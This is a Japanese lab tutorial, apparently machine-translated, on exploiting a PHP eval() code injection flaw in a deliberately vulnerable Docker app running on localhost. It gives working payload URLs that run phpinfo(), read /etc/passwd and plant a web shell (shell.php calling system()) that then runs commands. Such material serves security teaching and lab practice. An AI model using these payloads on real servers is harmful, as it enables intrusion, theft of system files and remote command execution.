ウェブアプリケーションにおけるコードインジェクション脆弱性の検証

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Web アプリケーションにおけるコードインジェクション脆弱性の概念を探索します。コードインジェクションは、攻撃者がユーザー入力フィールドにコードを注入することでサーバー上で悪意のあるコードを実行できる一般的な脆弱性です。目的は、コードインジェクション脆弱性の背後にある原理を理解し、実践的な演習を通じてそれらを悪用する方法を学ぶことです。


Skills Graph

脆弱なアプリケーションのセットアップ

このコースのこの部分では、意図的に脆弱性を持つ Web アプリケーション、具体的にはコードインジェクション脆弱性を持つアプリケーションをセットアップします。これにより、このような問題を識別し軽減する方法を学ぶことができます。このアプリケーションを起動して実行する方法は次のとおりです。

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec

これを少し分解して説明しましょう。

  • docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 は、脆弱な Web アプリが入った新しい Docker コンテナを起動します。 -d フラグは、Docker にコンテナをバックグラウンドで実行するよう指示します。 -p 82:80 の部分は、コンテナ内のポート 80 をあなたのマシンのポート 82 にマッピングします。
  • /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' は、コンテナ内で Apache Web サーバーを起動し、その後サーバーのエラーログを継続的に表示します。
  • docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec は、実行中のコンテナ内の /var/www/codeexec ディレクトリのパーミッションを変更して、Web アプリケーションが正しく動作できるようにします。

コマンドを実行し、Docker コンテナがアクティブになったら、Web ブラウザを開いて http://localhost:82/codeexec/example1.php?name=hacker にアクセスすることで、アプリケーションとやり取りできます。これにより、意図的に脆弱性を持つ Web アプリケーションにアクセスできます。楽しんで学んでください!

脆弱な Web アプリのインターフェイス

コードインジェクション脆弱性の理解

前のステップでは、組み込みのコードインジェクション脆弱性を持つ Web アプリケーションをセットアップしました。これを可能にする PHP コードを詳しく見てみましょう。

<?php
  $str="echo \"Hello ".$_GET['name']."!!!\";";
  eval($str);
?>

ここでは、PHP の eval() 関数を使用して、文字列を PHP コードとして実行しています。問題は、URL の name パラメータからユーザーが提供した値が、eval() が実行する文字列に直接追加されることです。許可される入力についてのチェックがないため、これがコードインジェクション攻撃の口を開けてしまいます。

では、この脆弱性が実際にどのように機能するか見てみましょう。既存の文字列を抜け出して独自のコードを追加することで、独自の PHP コードをインジェクトすることができます。次の URL にアクセスしてみてください。

http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();

おそらくエラーメッセージが表示されるでしょう。これは、インジェクトしたコードが構文エラーを引き起こしたためです。ダブルクォートがバランスしていない状態になっています。でも心配しないでください。PHP のコメント構文を使って既存の文字列を終了させることで、この問題を解決できます。

表示された構文エラー

次の URL を試してみてください。

http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();//

今度は、phpinfo() 関数が正常に実行され、サーバーの PHP 設定に関する情報が表示されるはずです。これは、コードインジェクション脆弱性を正常に悪用できたことを示しています。ご覧のとおり、コード内の些細な見落としでも、重大なセキュリティリスクにつながる可能性があります!

コードインジェクションの成功結果

ファイルインクルージョンのためのコードインジェクションの悪用

このステップでは、コードインジェクション脆弱性を悪用する一般的な手法、つまりサーバー上のリモートファイルをインクルードする方法を探索します。これを実現するために、PHP の file_get_contents() 関数を使用します。

サーバー上の /etc/passwd ファイルを読み取るために試すことができるペイロードは次のとおりです。

http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_get_contents(%20%27/etc/passwd%27));//

結果は次のようになります。

passwd ファイルの内容が表示されている

これを分解して説明しましょう。

  • http://localhost:82/codeexec/example1.php?name=hacker は、前に見たように、脆弱なアプリケーションの URL です。
  • %22;var_dump(file_get_contents(%20%27/etc/passwd%27)); は、ペイロードの重要な部分です。file_get_contents() 関数を使用して /etc/passwd ファイルの内容を読み取り、その後 var_dump() を使用して内容を表示します。
  • // は、残りのコードをコメントアウトするためのもので、ペイロードに干渉しないようにします。

/etc/passwd ファイルには、システム上のユーザーアカウントに関する情報が含まれています。これは、システムをさらに悪用しようとする際に非常に有用な情報になります。したがって、このペイロードを使用することで、多くの有用な情報を取得する可能性があります。試してみて、何がわかるか確認してみてください!

サーバー上へのファイル書き込み

この実験の最後の部分では、もう一つの一般的な悪用手法、つまりサーバー上にファイルを書き込む方法を探索します。これは、PHP の file_put_contents() 関数を使用して実現できます。この手法は、Web シェルやその他の悪意のあるコードをサーバーにアップロードする際に特に有用です。

shell.php という名前の簡単な Web シェルを作成するために試すことができるペイロードは次のとおりです。

http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_put_contents($_GET[1],$_GET[2]));//&1=shell.php&2=<?php system($_GET['cmd'])?>

これを分解して説明しましょう。

  • http://localhost:82/codeexec/example1.php?name=hacker は、前と同様に、脆弱なアプリケーションの URL です。
  • %22;var_dump(file_put_contents($_GET[1],$_GET[2])); は、file_put_contents() 関数を使用して、$_GET[1] で指定された名前と $_GET[2] で指定された内容のファイルを作成します。その後、var_dump() を使用してこの操作の結果を表示します。
  • //&1=shell.php&2=<?php system($_GET['cmd'])?> は、file_put_contents() 関数に引数を提供しています。shell.php は作成するファイルの名前で、<?php system($_GET['cmd'])?> はファイルの内容です。この PHP コードは、クエリ文字列の cmd パラメータを通じて渡された任意のコマンドを実行します。

このペイロードを実行すると、shell.php ファイルにアクセスし、サーバー上でシステムコマンドを実行できるはずです。たとえば、次の URL にアクセスしてみることができます。

http://localhost:82/codeexec/shell.php?cmd=uname -a

結果は次のようになります。

shell.php のコマンド出力

これにより、サーバー上で uname -a コマンドが実行され、出力が表示され、サーバーのオペレーティングシステムに関する基本的な情報が得られます。試してみて、何がわかるか確認してみてください!

まとめ

この実験では、コードインジェクション脆弱性について学び、さまざまな手法を使ってそれを悪用する方法を学びました。脆弱な Web アプリケーションをセットアップし、根本的な脆弱性を理解し、PHP コードをインジェクトすることでシステムコマンドを実行し、機密ファイルを読み取り、サーバー上にファイルを書き込むことができました。この実践的な経験は、コードインジェクション脆弱性に関連するリスクと、Web アプリケーションにおいてそれを軽減する方法をより深く理解するのに役立つでしょう。